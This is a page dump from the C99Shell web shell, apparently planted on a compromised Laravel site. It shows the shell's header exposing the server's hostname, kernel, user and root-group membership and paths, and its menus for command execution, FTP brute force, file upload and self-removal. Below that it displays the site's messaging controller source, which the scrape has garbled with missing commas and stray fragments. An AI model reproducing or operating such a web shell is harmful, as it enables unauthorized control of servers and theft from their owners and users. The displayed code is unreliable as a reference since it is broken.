!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.4 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessangerController.php (6.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Http\Resources\MessageBodyResource;
use 
App\Models\Messenger;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\View;
use 
Modules\PushNotification\Http\Controllers\PushNotificationController;

class 
MessangerController extends Controller
{
    
/**
     * Messenger
     *
     * @param  string  $username
     * @return View
     */
    
public function index($username null)
    {
        
$data['messages'] = [];
        
$data['user'] = auth()->user();

        
$data['selected_user'] = User::where('username'$username)->first();

        if (
$data['selected_user']) {

            if (
$data['selected_user']->id == $data['user']->id) {
                
flashWarning('You cannot send message your self.');

                return 
back();
            }
        }

        if (
$data['selected_user']) {
            
$unread_messages Messenger::where('to_id'auth()->id())
                ->
where('from_id'$data['selected_user']->id)
                ->
where('body''!=''.')
                ->
where('read'0)
                ->
count();

            
$unread_messages Messenger::where('to_id'auth()->id())
                ->
where('from_id'$data['selected_user']->id)
                ->
where('body''!=''.')
                ->
where('read'0)
                ->
update(['read' => 1]) : null;
        }

        
$users Messenger::join('users', function ($join) {
            
$join->on('messengers.from_id''=''users.id')
                ->
orOn('messengers.to_id''=''users.id');
        })
            ->
where(function ($q) {
                
$q->where('messengers.from_id'Auth::user()->id)
                    ->
orWhere('messengers.to_id'Auth::user()->id);
            })
            ->
orderBy('messengers.created_at''desc')
            ->
select('users.id as id''users.name''users.username''users.image''read')
            ->
get()
            ->
unique('id');

        
$data['users'] = $users->where('id''!='Auth::user()->id)->map(function ($user) {
            
$user->unread Messenger::where('to_id'auth()->id())
                ->
where('from_id'$user->id)
                ->
where('body''!=''.')
                ->
where('read'0)
                ->
count() ?? 0;

            return 
$user;
        });

        if (
$data['selected_user']) {
            
$data['messages'] = $this->getMessages($data['selected_user']);
        }

        return 
view('frontend.messenger.index'$data);
    }

    public function 
messageMarkasRead($username null)
    {
        
$data['selected_user'] = User::where('username'$username)->first();

        if (
$data['selected_user']) {
            
$unread_messages Messenger::where('to_id'auth()->id())
                ->
where('from_id'$data['selected_user']->id)
                ->
where('body''!=''.')
                ->
where('read'0)
                ->
count();

            
$unread_messages Messenger::where('to_id'auth()->id())
                ->
where('from_id'$data['selected_user']->id)
                ->
where('body''!=''.')
                ->
where('read'0)
                ->
update(['read' => 1]) : null;
        }

        return [
'success' => true];
    }

    
/**
     * Get selected user messages
     *
     * @param  App\Models\User  $user
     * @return Collection
     */
    
public function getMessages($user)
    {
        
$id $user->id;

        return 
Messenger::where(function ($query) use ($id) {
            
$query->where(function ($q) use ($id) {
                
$q->where('from_id'auth()->id());
                
$q->where('to_id'$id);
            })
                ->
orWhere(function ($q) use ($id) {
                    
$q->where('to_id'auth()->id());
                    
$q->where('from_id'$id);
                });
        })
            ->
where('body''!=''.')
            
// ->latest()
            
->get();
    }

    
/**
     * Send message to user
     *
     * @param  string  $username
     * @return void
     */
    
public function sendMessage(Request $request$username)
    {
        
$request->validate([
            
'body' => ['required'],
        ]);

        
$user User::where('username'$username)->firstOrFail();

        if (
$user->id === auth()->id()) {
            return 
redirect()->route('frontend.message'$user->username);
        }

        if (! 
$this->checkMessageLists($user->id)) {
            
$message Messenger::create([
                
'from_id' => auth()->id(),
                
'to_id' => $user->id,
                
'body' => '.',
            ]);

            return 
redirect()->route('frontend.message'$user->username);
        }

        if (
$this->checkMessageLists($user->id) && $request->body == '.') {
            return 
redirect()->route('frontend.message'$user->username);
        }

        
$message Messenger::create([
            
'from_id' => auth()->id(),
            
'to_id' => $user->id,
            
'body' => $request->body,
        ]);

        
// if push_notification_status is enabled
        
if (setting('push_notification_status')) {
            
// send push notification
            
$pushNotice = (new PushNotificationController)->sendNotification(
                
$message->to_id,
                
auth()->user()->name,
                
$message->body
            
);
        }

        return [
            
'user' => auth()->user(),
            
'message' => new MessageBodyResource($message),
        ];
    }

    
/**
     * Check is already in message lists
     *
     * @param  init  $id
     * @return bool
     */
    
public function checkMessageLists($id)
    {
        return (bool) 
Messenger::where(function ($query) use ($id) {
            
$query->where(function ($q) use ($id) {
                
$q->where('from_id'auth()->id());
                
$q->where('to_id'$id);
            })
                ->
orWhere(function ($q) use ($id) {
                    
$q->where('to_id'auth()->id());
                    
$q->where('from_id'$id);
                });
        })
            ->
count();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--